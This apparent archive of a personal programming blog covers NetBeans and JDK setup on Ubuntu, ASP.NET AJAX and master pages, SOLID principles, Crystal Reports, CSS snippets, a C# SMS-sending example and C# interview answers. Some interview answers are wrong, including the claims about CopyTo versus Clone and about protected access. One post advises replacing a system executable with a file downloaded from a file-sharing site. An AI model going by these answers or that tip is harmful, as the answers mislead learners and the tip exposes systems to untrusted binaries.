The Struts Framework has no built-in support for the Model layer. It enables you to create maintainable, extensible, and flexible web applications based on standard technologies, such as JSP pages, JavaBeans, resource bundles, and XML.

Installation of Netbeans 7 in Ubuntu

2011-06-10T23:02:00.004+06:00

Its really easy to install................

Step 1: Copy the Netbeans 7 for Linux(netbeans-7.0-ml-linux.sh) and JDK foo Linux(java_ee_sdk-6u1-jdk-linux.sh) into the desired location.

Step 2: Open the terminal from(Application-->Accessories--> Terminal)

Step 3: Using Command, navigate to the location of two files. Its better to keep both of the files in the Home folder of you, as its the default location. To check the availabilty of the files you can use the command

ls -l

It will shows the list of the files at that location.

Step 4: Then try to install the jdk file using the command

sh jdk-6u21-linux-i586.bin

Step 5: The to install Netbeans, at first make the file executable using the command

sudo chmod +x netbeans-*

Step 6: Then use the command, to install netbeans as

sudo ./netbeans-* --javahome jdk1.6.0_21

for me, it was
sudo ./netbeans-* --javahome jdk1.6.0_21

Step 7: The above command will provide the Netbeans installer to navigate your for the further steps to follow.

After installing, to use netbeans You can use it from Applications -> Programming -> NetBeans & from ubuntu menubar. But sometimes it may occurs problem to you(i.e this may not be appeared at the menu). Then you can use it by command prompt using the command

netbeans

to do so you need to run a simple command just for once after:

ln -s /usr/local/netbeans-6.5/bin/netbeans /usr/local/bin/netbeans

Use sudo before each command if you get the access denied message. Then giving correct password, you will be able to do so.(sudo------------> Super Do)

Then the command will be as

sudo ln -s /usr/local/netbeans-7.0/bin/netbeans /usr/local/bin/netbeans

The above command will make a shortcut at bin folder(common).
After that you will get netbeans just by typing it in the terminal. You may aslo create a shortcut launcher to this link.

Now enjoy Netbeans and Ubuntu together.

Plz let me know your experience..

AJAX with ASP.NET

2011-01-29T10:57:00.004+06:00

Imagine, you want to highlight a TextBox when the user moves the mouse over it. With the postback approach, you’d need to send the entire page back to the web server, regenerate it, and refresh it in the browser—by which point the mouse might be somewhere completely different. This approach is clearly impractical.

Ajax(Asynchronous JavaScript and XML)is programming shorthand for a set of techniques that create more responsive, dynamic pages. One of the hallmarks of Ajax is the ability to refresh part of the page while leaving the rest untouched.Ajax is nothing but JavaScript code that runs in the browser, requesting the new information from the web server when needed and updating the page accordingly.

The key benefit of Ajax is responsiveness, where as the challenges are code complexity and browser support.

TO use AJAX in ASP.net, we need to place a new web control ScriptManager on our page, and it’s the brains of ASP.NET AJAX .

If you’re using ASP.NET AJAX features throughout your website, you might choose to place the ScriptManager in a master page. However, this can occasionally cause problems, because different content pages may want to configure the properties of the ScriptManager differently. In this scenario, the solution is to use the ScriptManager in the master page and the ScriptManagerProxy in your content page. (You can find the ScriptManagerProxy on the same AJAX Extensions tab of the Toolbox.) Each content page can configure the ScriptManagerProxy control in the same way it would configure the ScriptManager.

All the elements and controls are kept between the tags.
When the UpdatePanel renders itself, it copies the content from the ContentTemplate into the page. This seems like a fairly unimportant low-level detail, but it does have one important side effect. If you want to use code to dynamically add controls to an UpdatePanel, you can’t use the UpdatePanel.Controls collection. Instead, you need to add new controls to the UpdatePanels.ContentTemplateContainer.Controls collection.

Registering the ASP.NET File Mappings: To run asp pages in IIS server

2011-01-28T22:03:00.006+06:00

When a page is requested from the browser, that comes to the web server. The pages can be of different format i.e html, jsp, asp etc. The server is not the master of all for serving all types of pages.
At this point, one might be wondering how the web server knows when it needs to get the ASP or ASP.NET engine involved. Essentially, the web server looks at the file extension of the requested page (such as .asp or .aspx) to determine the type of content. The web server compares this extension against a list to determine what program owns this file type. For example, the web server’s list indicates that the .aspx extension is owned by the aspnet_isapi.dll component in the corresponding directory. The aspnet_isapi.dll component is known as an ISAPI extension, because it uses the ISAPI (Internet Server API) model to plug into the web server.

The easiest way to make sure you get the right version of aspnet_regiis is to rely on the Visual Studio Command Prompt. The Visual Studio Command Prompt is really just an ordinary Windows command prompt, but it sets the path variable so that the tools you need are at your fingertips. When you type aspnet_regiis.exe in the Visual Studio Command Prompt (without specifying a path), you’ll automatically run the correct version.
To start the Visual Studio Command Prompt, open the Start menu, choose Programs, and then choose Microsoft Visual Studio 2008 -->Visual Studio Tools -->Visual Studio 2008 Command Prompt.

Then for installing type the following
aspnet_regiis.exe -i

and then press enter.

If IIS is installed before installing Visual Studio, IIS is automatically configured for serving ASP pages by using asp engine. If not, then use the above code for configuring.

Add Date picker to ASP page from AjaxControlToolkit

2011-01-24T17:28:00.005+06:00

Atfirst make a folder named i.e "Library" in your project folder. Then go to the References of Solution Explorer.

And Right Click-->Add References-->Select Browse--> Select the file from the location--> Add it.
Then add the text box, the target of the Selected Date. And also take a button or image by clicking which we will get our Calender.

The add the following code after the code of Button in the source view of the Form.


asp:CalendarExtender ID="CalendarExtender1" runat="server" TargetControlID="txtBoxName" PopupButtonID="btnName"
         Format="dd-MMM-yyyy"/>

Here the Format is used to define the format of your desired date to view.
After that, go to the next line of the FORM tag in your page. If you are using the Master Page as the part of your design. You will have to go to the FORM tag of your master page.Now you will have to add ScriptManager. For doing so, you will add the following line:


asp:ScriptManager ID="ScriptManager1" runat="server"/>

That's enough. You will get the Calender to pick the date.

IN this topic we have used code, but you can get this tool automatically from the Html portion of Toolbox menu. For doing so, you will have to Right Click on the lower part of Toolbox and then add the AjaxControlTool.dll from your made Library Folder. Then you will get these items from the Toolbox menu.

Click to get AjaxControlTool

How to apply a Master Page to Existing Webpage OR Easily convert An Existing Web Form to a Web Content Form(with a Master Page)

2011-01-23T23:07:00.002+06:00

Its our common behavior to change our web site on sparkle of our eyes. And for adding the banner or common things in each page is really difficult to perform. Concept of Master Page has handed over the freedom to us. For master page is the natural way to develop each web pages as the content page of the Master One. But We can ad our already
designed web page as the content page of the Master Page. Different way to say, we can apply Master Page o an existing Web page by following some steps.To convert from a Web Form to Web Content Form, all of the changes will occur in the Web Form’s aspx page.
just follow the following steps:

1.Create a Master Page
2.Apply Master Page via design mode in existing wen page
3.Copy over the Content Containers
4.In your Web Form, move Web Controls and information into the proper Content Containers.

Suppose, we have a web page named frmAddTask.aspx, we want to add the Master Page to this page. A s the part of above steps, we create the Master Page.
Then we need to go to the Design mode of our Web page frmAddTask.aspx, making the right-click we have to choose the properties for this page. From the properties, we select the Master Page option and show the Master Page we have created for this web page. Then in the code of the web page a small but vast change will be effected at the top line of its code view.



<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="frmAddTask.aspx.cs" Inherits="SMS_IB_Support_tools.UI.frmAddTask" MasterPageFile="~/UI/SMS-IB.Master" %>

Now, the second and final step is to put items into the correct content boxes. The easiest and more error free to do this is to create a new blank Web Content Form, copy the content boxes from the Web Content Page, and paste them into our original Web Form. So right click the Master page in the Solution Explorer and select Add Content Page. Our example will output:



<%@ Page Language="C#" MasterPageFile="~/Site1.Master" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="WebApplication1.WebForm1" Title="Untitled Page" %>

Copy lines 2-5 above and paste them into frmAddTask.aspx right below the “<%@ Page” directive. The ContentPlaceHolderID called ContentPlaceHolder1 will hold all the information between in our "frmAddTask.aspx. The rest of the information below can be deleted.
We will must have to follow that, in the existing Web Page FORM tag is appeared. And in the Master Page also the

SOLID Principle

2011-01-23T22:50:00.000+06:00

In computer programming, SOLID (Single responsibility, Open-closed, Liskov substitution, Interface segregation and Dependency inversion) is a mnemonic acronym introduced by Robert C. Martin in the early 2000s which stands for five basic patterns of object-oriented programming and design.

Single Responsibility Principle:
"There should never be more than one reason for a class to change."
If we have calculation logic and database logic and display logic all mixed up within one class it can be difficult to change one part without breaking others. Mixing responsibilities also makes the class harder to understand, harder to test, and increases the risk of duplicating logic in other parts of the design (decreases cohesion, functionality has no clear place to live).

Open Closed Principle:
"Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification."
The idea is that we can use OO techniques like inheritance and composition to change (or extend) the behaviour of a class, without modifying the class itself.Following the OCP should make behaviour easier to change, and also help us avoid breaking existing behaviour while making changes.

Liskov Substitution Principle:
"Functions that use pointers or references to base classes must be able to use objects of derived classes without knowing it."
It states that, if S is a subtype of T, then objects of type T in a computer program may be replaced with objects of type S (i.e., objects of type S may be substituted for objects of type T), without altering any of the desirable properties of that program (correctness, task performed, etc.).

Interface Segregation Principle:
"Clients should not be forced to depend upon interfaces that they do not use." The ISP is about keeping interfaces (both interface, and abstract class types of interfaces) small and limited only to a very specific need (a single responsibility even :)). If you have a fat interface then you are imposing a huge implementation burden on anyone that wants to adhere to that contract.

Dependency Inversion Principle:
"A. High level modules should not depend upon low level modules. Both should depend upon abstractions.
B. Abstractions should not depend upon details. Details should depend upon abstractions."
The DIP says that if a class has dependencies on other classes, it should rely on the dependencies' interfaces rather than their concrete types. The idea is that we isolate our class behind a boundary formed by the abstractions it depends upon. If all the details behind those abstractions change then our class is still safe. This helps keep coupling low and makes our design easier to change.

Gmail Modes

2011-01-09T17:25:00.000+06:00

Many times, we are not able to access Gmail account from our PC for various reason. And that can not be performed for various issues. We can follow the modes depicted below for getting help on requirements.

Gmail Modes

If you can't access Gmail, try some of these URLs:

Safe mode - http://mail.google.com/mail/?labs=0. It disables the experimental features from Gmail Labs, just in case some of them are buggy. You can remove some of the features from Gmail's settings page.

Secure mode - https://mail.google.com/. It encrypts the traffic between your computer and Gmail's servers. Use it from public computers, Wi-Fi networks or to bypass some proxies and web accelerators. There's a Gmail setting that redirects the standard version to the secure mode ("Always use https").

Older version - http://mail.google.com/mail/?ui=1. This version has been replaced in October 2007 by a rearchitectured Gmail, but the old version is a little bit faster.

Basic mode - http://mail.google.com/mail/?ui=html. It's the version that doesn't use JavaScript, so it loads faster and it works well with older browsers. Unfortunately, many Gmail features are missing (contacts autocomplete, chat, spell checker, rich formatting) and each click loads a new page. If you like this version, click on "Set basic HTML as default view" at the top of the page.

Mobile mode - http://mail.google.com/mail/?ui=mobile or http://m.gmail.com. This is a simplified Gmail interface for mobile phones that has even less feature than the basic mode. Use it if no other Gmail mode works for you.

iPhone mode - http://mail.google.com/mail/x/gdlakb-/gp/. A more user-friendly mobile version for iPhone and other mobile phones that use WebKit-based browsers.

iGoogle gadget - http://www.google.com/ig/gmailmax. This is the canvas view for the updated Gmail gadget which can be found in the new iGoogle. Some people found that this interface bypasses most corporate filters that prevent them from accessing Gmail at work.

"No browser checking" mode - http://mail.google.com/mail?nocheckbrowser. If you use a cutting-edge new browser and Gmail serves you the basic HTML mode, try this URL to bypass browser detection.

How to not get combobox SelectedIndexChanged be executed on load

2010-12-10T23:29:00.000+06:00

we use combobox in our coding at the form on requirements. And its usual to call the all of the events of combobox and the time of formloading. But many of the time, we are nor interested to call those events at the time of form loading. We have tried to do so for one of my need. I have done so by a different way.

When a form arrise to the user. behind the scene, two things happen.

1. Initialize the object of the form.1
2. Constructor is called for performing all others needs.

All the events are declared at the first step of the above in the time of initialization. We can bind the data source for the combo box at the constructor calling in the 2nd step of the above.

So, when a datasource is linked to the combobox, for addaing each single value or data, each time the combo box call its event for that purpose in need. It tooks execution time.

We can exclude this only by following a simple technique. i.e

Try setting your event SelectedIndexChanged handler after setting the data source. Make sure you remove the SelectedIndexChanged event handler set by the windows form designer from your form's constructor.

This is what your code should look like:

myComboBox.DataSource = dataSource;
myComboBox.DisplayMember = "displayMember";
myComboBox.ValueMember = "valueMember";
this.myComboBox.SelectedIndexChanged += new System.EventHandler(this.myComboBox_SelectedIndexChanged);

Assuming
private void myComboBox_SelectedIndexChanged(object sender, EventArgs e)
{
.......................
}
already exists.

Basic of Crytal Report Creation

2010-11-27T21:19:00.000+06:00

You can familiarize yourself with Crystal Reports for Blackbaud by designing a simple report that lists the number of students in each grade level.
First, use Query to group all records with the status Current Student.

1. Select to create a new dynamic, student query. Click OK.
2. Select the filter criteria Status Equals Current Student.
3. Mark the Sort option and highlight Grade Level Now. Click Sort. Sort by Table Order.
4. Highlight Student Name and click Sort. Sort in ascending order.
5. You can select any fields for output, because they are used only for visual verification of your results. Select the minimum number of fields necessary.
6. Select File, Run Query from the menu bar.
7. Save and name the query. Mark Other Users May Execute this Query to allow other users to run but not change your query. They can modify copies of the query only by selecting File, Save As from the menu bar. To protect the original query, unmark Other Users May Modify this Query.

In Export, extract, or copy, certain information from the group of Current Student records to a data file Crystal Reports can read.

1. Select to create a new student export.
2. Choose Selected Records and select the query you just created. Do not mark Load Query Output Fields. (Remember, they are simply used to verify your query results. In this module you select the fields for your report.)
3. Highlight Student Name and Grade Level Now (Short Grade Level) and click Add Field. You can extract fields in any order, though they may be easier to use in Crystal Reports if you choose a practical sequence.
4. Select File, Export from the menu bar. On the Export Format screen, select MS Access Report Writer Database. Mark Print Control Report. Click OK.
5. On the Enter Export File Name screen, enter a file name that does not exceed eight characters plus the three-character extension. Click OK.
6. After processing is complete, print the Custom Export Control Report, which documents the data file’s name and path.

In Crystal Reports, you manipulate your exported data to create a report.

1. Click New Report. Click Custom on the Report Gallery screen.
2. Click Data File. Select the MDB file you just exported.
3. Select Insert, Group from the menu bar. Group by Grade Level Now in ascending order. Click OK. Your final report’s results will appear in grade level order.
4. Select Insert, Database Field from the menu bar. On the Insert Fields screen, place Grade Level Now in the Details section in one of three ways:
* Click on the field name and drag it to the Details section.
* Double-click on the field name and place it in the Details section.
* Highlight the field name, click Insert, and place the field in the Details section.
5. To calculate the number of students in each grade level, select Insert, Summary from the menu bar. On the Common tab, select Count. Click OK. When you print the report, the records appear sorted and grouped by Student Grade Level Now. The number of students in each grade level also prints.
6. Right-click on the gray part of the Details section. Select Suppress (No Drill-Down) from the menu.
7. Select File, Print Preview from the menu bar.

Tips for Using Totals and Counts in Crystal Reports

Having trouble totaling reports in Crystal Reports? These tips should help.

1. To create a subtotal of an amount field, right-click on the field in the detail line and select Insert Subtotal. Select on what to base the subtotal and click OK.

2. To create a grand total of amounts, right-click on the field you want to total and select Insert Grand Total.

3. To underline the totals, right-click on the field and select Format Field. Select Borders. Select single line on top and double line on bottom.

4. To get a total count of records listed on the report, right-click on the field that is not an amount and select Insert Grand Total. Select Count to have the program count each line and give you the total number of records.

5. To get a total count of individual records (such as vendors with multiple invoices), right-click on the Name field, select Insert Grand Total and Distinct Count. This counts items that are the same only once. For example, if ABC Company were listed three times on the list, the program would count it as only one record.
Changing Report Field Properties in Crystal Reports

Have you ever wanted to add or sort on a text field that is a number? The ToNumber function in Crystal Reports can convert a non-numeric field, specifically a text field, into a numeric field when you need to perform arithmetic on the field or sort the field in numeric order. For example, you export Constituent ID for sorting or grouping in a report, but discover that because it is an alphanumeric field, it sorts in alphanumeric order instead of numeric order. To sort or group by this field numerically, convert the field using the ToNumber function.

For the ToNumber function to work properly, the field you want to convert must be populated with numbers only. When using this function, you should first test the value with the NumericText function. If NumericText returns the value TRUE, then you can convert it to a number. If you try to convert a value to a number that is not numeric, the formula produces an error in the report.

The following example uses both functions: If the text string, Constituent ID, can be converted to a number, then convert it to a number else, use zero as the value.

If NumericText ({Constituent.ConstituentID}) Then ToNumber ({Constituent.ConstituentID}) Else 0

With this formula, the Constituent ID field is converted from a text string to a number and may now be used for sorting or grouping in numeric order.

This function might also be used for an Attribute Description or Comment field. The formula would be if the text field, Attribute, can be converted correctly from a text string to a number, then convert it to a number otherwise, use zero as the value.

If NumericText ({Attribute}) Then ToNumber ({Attribute}) Else 0

The field Attribute, originally a text field that contained only numbers, is now considered by Crystal Reports to be a numeric field and may be subtotaled or used in other arithmetic functions.

The combination of the NumericText and ToNumber functions allows you to easily convert report fields. These formulas can be used for any text field providing the values are solely numeric.

Source: Blackbaud

Configure Netbeans with Jdk at Ubuntu

2010-10-08T23:38:00.000+06:00

recently I have tried to use the netbeans for programming Java at my ubuntu platform. For this purpose I hacve to wandering many paths. I spent a little more times for that purpose. At the end I came to undersatnd if I wolud followed the following steps one after another I complete to satrt quickly

1.Install JDK atfirst
Downlaod JDK for ubuntu(.bin formated) from the following link

Download JDK

To install it, at first keep the downloaded file at the desired location of you.
Opening the Terminal, go to that location using the command
(i.e for keeping the file in desktop)

cd ~/Desktop

After that,Run the script:

sh jdk-6-linux-i586.bin

By following those steps you have completed the jdk installation successfully.

2.Netbeans Intallation
Download the OS independent Zip from the following link

Download Netbeans OS Independent Version

I like to use OS independent version as it can be used in all platforms. So,
just download One and use it everywhere.

After Downloading the Zip folder, you need to unzip it. And actually Unzipping
the folder is the installation of the Netbeans.

3.Run Netbeans
Our target is to run the netbeans in ubuntu. So we have to use the terminal for
running it. Opening the terminal, we have to write the command
location/netbeans/bin/netbeans

We may face a error to switch the Java location for running netbeans. As we
have not kept the jdk at the default location of netbeans.

So we need to switch the location through wrtting the location at the end of previous command as

location/netbeans/bin/netbeans --jdkhome /location/jdk1.6.0_21

For my case, the command line was
/media/Campus/JavaEE/netbeans/bin/netbeans --jdkhome /home/paul/jdk1.6.0_21

Its a hazard to write the command everytime I want to run the netbeans. For removing this problem, I made an Launcher with the commandline at my desktop. And this helps me to start the netbeans easily.

Multibooting Option: GRUB BootLoader

2010-09-14T12:40:00.000+06:00

GRUB stands for GRand Unified Boot loader.

GRUB Boot loader is an important part for multi booting PC that eans when more than one option is available for booting a PC. Now-a-days, most of the computer users keep at least two operating system for their PC. It helps a lot to them. When any one try to black mail the user, user don't be worry about that as there is an another option for him to complete his task at that moment.
i.e I use Ubuntu for using Internet and for developing windows based software I use Xp. If both the option can not be displayed at the start up of the pc, we have to need two PC for two different requirements.
GRUB Boot-loader is one of this solution provider. we can use the GRUB boot-loader according to our needs. But we have to be more cautions when we will try to work with GRUB Boot loader.GRUB is an excellent and highly flexible boot loader. It's designed to boot a wide range of operating systems from a wide range of file systems.GRUB is now pretty much the standard used in the very many variations of Linux available today.
Before doing any work on GRUB, we need to back up a copy of that file which will help us for any problem in future. Recently, I have tried to change some option in my GRUB file. And then I accessed many website for getting some help. And some website helps me a lot. These are as
Website 1
Website 2
Website 3

Remember, before doing any work with GRUB, you must know the version of your GRUB and then follow according to that. And then take a backup of that GRUB file before any modification. Lets try and enjoy..

Tips on Database Design

2010-09-13T15:44:00.000+06:00

1.Develop A Prototype
Significant time can be saved by creating the structure in a simple desktop database (such as Microsoft Access) before finalising the design in one of the enterprise databases. The developer will be able to recognise simple faults and makes changes more rapidly than would be possible at a later date.

2.Split database structure into multiple tables
Unlike paper-based structures, databases do not require the storage of all fields in a single table. For large databases it is useful to split essential information into multiple tables. Before creating a database, ensure that the data has been normalised to avoid duplication.

3.Use understandable field names
The developer should avoid field names that are not instantly recognisable. Acronyms or internal references will confuse users and future developers who are not completely familiar with the database.

4.Avoid illegal file names
It is considered good practice to avoid exotic characters in file or field names. Exotic characters would include ampersands, percentages, asterisks, brackets and quotation marks. You should also avoid spaces in field and table names.

5.Ensure Consistency
Remain consistent with data entry. If including title (Mr, Miss, etc.) include it for all records. Similarly, if you have established that house number and address belong in different fields, always split them.

6.Avoid blank fields
Blank fields can cause problems when interpreting the data at a later date. Does it mean that you have no information, or you have forgotten to enter the information? If information is unavailable it is better to provide a standard response (e.g. unknown).

7.Use standard descriptors for date and time
Date and time can be easily confused when exporting database fields in a text file. A date that reads ‘12/04/2003’ can have two meanings, referring to April 12th or December 4th, 2003. To avoid ambiguity always enter and store dates with a four-digit century and times of day using the 24 hour clock. The ISO format (yyyy-mm-dd) is useful for absolute clarity, particularly when mixing databases at a later date.

8.Use currency fields if appropriate
Currency data types are designed for modern decimal currencies and can cause problems when handling old style currency systems, such as Britain’s currency system prior to 1971 that divided currency into pounds, shillings and pence.

9.Avoid proprietary extensions
Care should be taken when using proprietary extensions, as their use will tie your database to a particular software package. Examples of proprietary extensions include the user interface and application-specific commands.

10.Avoid the use of field dividers
Commas, quotation marks and semi-colons are all used as methods of separating fields when databases are exported to a plain text file and subsequently re-imported into another database. When entering data into a database you should choose an alternative character that represents these characters.

Collected From:Website

little bit on Windows Forms

2010-08-20T20:10:00.000+06:00

In .Net, the most important namespace is System.Windows.Forms. this namespace can be grouped into the following broad categories:

Core infrastructure: represent the core operations of a Windows Forms program and activeX control.

Controls:Button, MenuStrip, ProgressBar,
DataGridView, etc. are related to control. its is used to create rich user interface.

Components:are not visible at runtime, but can be configured visually at design time, i.e timer, backgroundworker.

Common dialog boxes:provides a number of canned dialog boxes for common operations

To set the default input button of a form we need to use AcceptButton. Suppose, to set the button btnPaul as teh default buttorn for the form(Enter invokes this button directly), we need to write the following code

this.AcceptButton = btnPaul;

Come here to meet with my Ubuntu

2010-07-20T03:25:00.000+06:00

To send sms through http port

2010-06-30T18:19:00.000+06:00

We can send sms through a dedicatd http port to mobile no. To implement that, we need a very small code in c#.net. And we can use that code on the basis of the requirement of the server.
----------------------
String httpAddress = "http://192.164.4.224:8237/cpSubscriptionService/Default.aspx?key=ppl_450w98";
String mobileNo = txtMobile.Text;
String sentMessage = txtMessage.Text;
String out_Msg_Id = txtOutMsg_id.Text;
String sendRequest = httpAddress+ "&mobileNo="+mobileNo+"&body="+sentMessage+"&msg_type=4&send_port=003225&in_Msg_Id=1&out_Msg_Id="+out_Msg_Id;

HttpWebRequest loHttp = (HttpWebRequest)WebRequest.Create(sendRequest);

//loHttp.Timeout = 10000;
loHttp.Method = "GET";

HttpWebResponse loWebResponse = (HttpWebResponse)loHttp.GetResponse();

Encoding enc = Encoding.GetEncoding(1252); // Windows default Code Page
StreamReader loResponseStream = new StreamReader(loWebResponse.GetResponseStream(), enc);

string lcHtml = loResponseStream.ReadToEnd();
txtResponse.Text = lcHtml;

loWebResponse.Close();
loResponseStream.Close();
---------------------------------

For that purpose, we have just used the http port for the example purpose. Here three text box has been used just to take the no., text and the feedback field. Here in the program these fields have been used.

unable to connect to asp.net development server

2010-06-27T01:10:00.000+06:00

Recently, I have started to make deal with ASP.net to learn that. And I firstly installed the Visual Studio 2008 and wrote the code. But when I start to debugging, I was helpless, as I am not a man with a lot of concentration. And most of the cases at past, I stopped programming when a error arouse me. But at this time I have started to face the problem, as its my target.
But this session isn't different from the before. When I start to debug my first program, I find the message "unable to connect to asp.net development server". As its my challenge, I use the internet and solve he problem. You can solve it following the steps

first download the file from following link
http://www.esnips.com/doc/9ef73cba-6d6a-4e76-a42d-83b58024300e/WebDev.WebServer
extract the file ..
u will get an exe named WebDev.WebServer.exe
simply right click and copy it..
now..
goto your drive containing windows...
by deault this is c drive..
so open
the following path...
C:\Program Files\Common Files\microsoft shared\DevServer\9.0
you will find already a file named WebDev.WebServer.exe..
so what you have to do is simply replace this file...
by right click and paste...
and click yes on the message that you want to replace the file..
yes its done ...

N.B:

Some links for Ruby On Rails

2010-01-27T22:48:00.000+06:00

http://ruby.about.com/od/tutorialsontheweb/tp/10waysfree.htm
http://www.rubyist.net/~slagell/ruby/getstarted.html
http://www.ruby-lang.org/en/documentation/quickstart/4/
https://help.ubuntu.com/community/RubyOnRails
http://rubyonrails.org/
http://www.humblelittlerubybook.com/book/

--
Paul OM

Image Gallery by CSS

2010-01-20T16:42:00.000+06:00

<html>
<head>
<style type="text/css">
div.img
{
margin:2px;
border:1px solid #0000ff;
height:auto;
width:auto;
float:left;
text-align:center;
}
div.img img
{
display:inline;
margin:3px;
border:1px solid #ffffff;
}
div.img a:hover img
{
border:1px solid #0000ff;
}
div.desc
{
text-align:center;
font-weight:normal;
width:120px;
margin:2px;
}
</style>
</head>
<body>

<div class="img">
<a target="_blank" href="klematis_big.htm">
<img src="klematis_small.jpg" alt="Klematis" width="110" height="90" />
</a>
<div class="desc">Add a description of the image here</div>
</div>
<div class="img">
<a target="_blank" href="klematis2_big.htm">
<img src="klematis2_small.jpg" alt="Klematis" width="110" height="90" />
</a>
<div class="desc">Add a description of the image here</div>
</div>
<div class="img">
<a target="_blank" href="klematis3_big.htm">
<img src="klematis3_small.jpg" alt="Klematis" width="110" height="90" />
</a>
<div class="desc">Add a description of the image here</div>
</div>
<div class="img">
<a target="_blank" href="klematis4_big.htm">
<img src="klematis4_small.jpg" alt="Klematis" width="110" height="90" />
</a>
<div class="desc">Add a description of the image here</div>
</div>

</body>
</html>

Readymade CSS

2010-01-20T16:29:00.001+06:00

body {
margin: 0px;
padding: 0px;
background-color: ;
background-image: url(../../images/background_yellow.png);
}

div#header {
position: absolute;
width: 100%;
left: 0px;
height: 75px;
top: -4px;
}

div#banner {
background-color: #FFFFCC;
background-repeat: repeat-x;
height: 50px;
}

img#titletext {
top: 40px;
position: absolute;
left: 300px;
}

div#nav{
color : #105BAC;
background-color : #FFFFFF;
height : 15px;
font-size: 80%;
border-top : none;
margin-left: 0px;
border-bottom-style: none;
}

div#nav ul {
list-style-type: none;
margin-top: 0px;
margin-bottom: 0px;
margin-left: 56px;
margin-right: 0px;
padding: 2px 0 0 0;
}
div#nav ul li {
display: inline;
}
div#content {
position: absolute;
left: 225px;
top: 128px;
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 91%;
color: #000000;
line-height: 140%;
width: 707px;
height: 532px;
}
div#sidebar {
position: absolute;
top: 129px;
right: 20px;
width: 180px;
font-size : 70%;
left: 15px;
}
div#content h1 {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 146%;
color: #990000;
font-weight: normal;
}
div#content h2 {
font-family: Georgia, "Times New Roman", Times, serif;
color: #105BAC;
font-weight: normal;
font-size: 120%;
}
div#sidebar div.feature {
font-family: Georgia, "Times New Roman", Times, serif;
color : #666666;
background-color : #fefefe;
border : 1px solid #990000;
margin-bottom : 11px;
padding : 10px;
line-height : 140%;

5 habits of Productive, Happy Software Developer

2010-01-03T22:13:00.000+06:00

1. Be Marketable-Keep Up To Date Skills and Network Contacts
2.Be the Master of Your Domain
3.Accommodate Your Financial Needs
4.Have a life Outside of Work
5.Properly Manage Expectations

Software Engineering is the combination of Common sense and Discipline.

Interview Questions on C#

2009-11-22T20:39:00.000+06:00

The questions along with the answers given below are collected from the website:

1.What’s the implicit name of the parameter that gets passed into the class’ set method? Value, and its datatype depends on whatever variable we’re changing.

2.How do you inherit from a class in C#? Place a colon and then the name of the base class. Notice that it’s double colon in C++.

3.Does C# support multiple inheritance? No, use interfaces instead.

4.When you inherit a protected class-level variable, who is it available to? Classes in the same namespace.

5.Are private class-level variables inherited? Yes, but they are not accessible, so looking at it you can honestly say that they are not inherited. But they are.

6.Describe the accessibility modifier protected internal. It’s available to derived classes and classes within the same Assembly (and naturally from the base class it’s declared in).

7.C# provides a default constructor for me. I write a constructor that takes a string as a parameter, but want to keep the no parameter one. How many constructors should I write? Two. Once you write at least one constructor, C# cancels the freebie constructor, and now you have to write one yourself, even if there’s no implementation in it.

8.What’s the top .NET class that everything is derived from? System.Object.

9.How’s method overriding different from overloading? When overriding, you change the method behavior for a derived class. Overloading simply involves having a method with the same name within the class.

10.What does the keyword virtual mean in the method definition? The method can be over-ridden.

11.Can you declare the override method static while the original method is non-static? No, you can’t, the signature of the virtual method must remain the same, only the keyword virtual is changed to keyword override.

12.Can you override private virtual methods? No, moreover, you cannot access private methods in inherited classes, have to be protected in the base class to allow any sort of access.

13.Can you prevent your class from being inherited and becoming a base class for some other classes? Yes, that’s what keyword sealed in the class definition is for. The developer trying to derive from your class will get a message: cannot inherit from Sealed class WhateverBaseClassName. It’s the same concept as final class in Java.

14.Can you allow class to be inherited, but prevent the method from being over-ridden? Yes, just leave the class public and make the method sealed.

15.What’s an abstract class? A class that cannot be instantiated. A concept in C++ known as pure virtual method. A class that must be inherited and have the methods over-ridden. Essentially, it’s a blueprint for a class without any implementation.

16.When do you absolutely have to declare a class as abstract (as opposed to free-willed educated choice or decision based on UML diagram)? When at least one of the methods in the class is abstract. When the class itself is inherited from an abstract class, but not all base abstract methods have been over-ridden.

17.What’s an interface class? It’s an abstract class with public abstract methods all of which must be implemented in the inherited classes.

18.Why can’t you specify the accessibility modifier for methods inside the interface? They all must be public. Therefore, to prevent you from getting the false impression that you have any freedom of choice, you are not allowed to specify any accessibility, it’s public by default.

19.Can you inherit multiple interfaces? Yes, why not.

20.And if they have conflicting method names? It’s up to you to implement the method inside your own class, so implementation is left entirely up to you. This might cause a problem on a higher-level scale if similarly named methods from different interfaces expect different data, but as far as compiler cares you’re okay.

21.What’s the difference between an interface and abstract class? In the interface all methods must be abstract; in the abstract class some methods can be concrete. In the interface no accessibility modifiers are allowed, which is ok in abstract classes.

22.How can you overload a method? Different parameter data types, different number of parameters, different order of parameters.

23.If a base class has a bunch of overloaded constructors, and an inherited class has another bunch of overloaded constructors, can you enforce a call from an inherited constructor to an arbitrary base constructor? Yes, just place a colon, and then keyword base (parameter list to invoke the appropriate constructor) in the overloaded constructor definition inside the inherited class.

24.What’s the difference between System.String and System.StringBuilder classes? System.String is immutable; System.StringBuilder was designed with the purpose of having a mutable string where a variety of operations can be performed.

25.What’s the advantage of using System.Text.StringBuilder over System.String? StringBuilder is more efficient in the cases, where a lot of manipulation is done to the text. Strings are immutable, so each time it’s being operated on, a new instance is created.

26.Can you store multiple data types in System.Array? No.

27.What’s the difference between the System.Array.CopyTo() and System.Array.Clone()? The first one performs a deep copy of the array, the second one is shallow.

28.How can you sort the elements of the array in descending order? By calling Sort() and then Reverse() methods.

29.What’s the .NET datatype that allows the retrieval of data by a unique key? HashTable.
30.What’s class SortedList underneath? A sorted HashTable.

31.Will finally block get executed if the exception had not occurred? Yes.

32.What’s the C# equivalent of C++ catch (…), which was a catch-all statement for any possible exception? A catch block that catches the exception of type System.Exception. You can also omit the parameter data type in this case and just write catch {}.

33.Can multiple catch blocks be executed? No, once the proper catch code fires off, the control is transferred to the finally block (if there are any), and then whatever follows the finally block.

34.Why is it a bad idea to throw your own exceptions? Well, if at that point you know that an error has occurred, then why not write the proper code to handle that error instead of passing a new Exception object to the catch block? Throwing your own exceptions signifies some design flaws in the project.

35.What’s a delegate? A delegate object encapsulates a reference to a method. In C++ they were referred to as function pointers.

36.What’s a multicast delegate? It’s a delegate that points to and eventually fires off several methods.

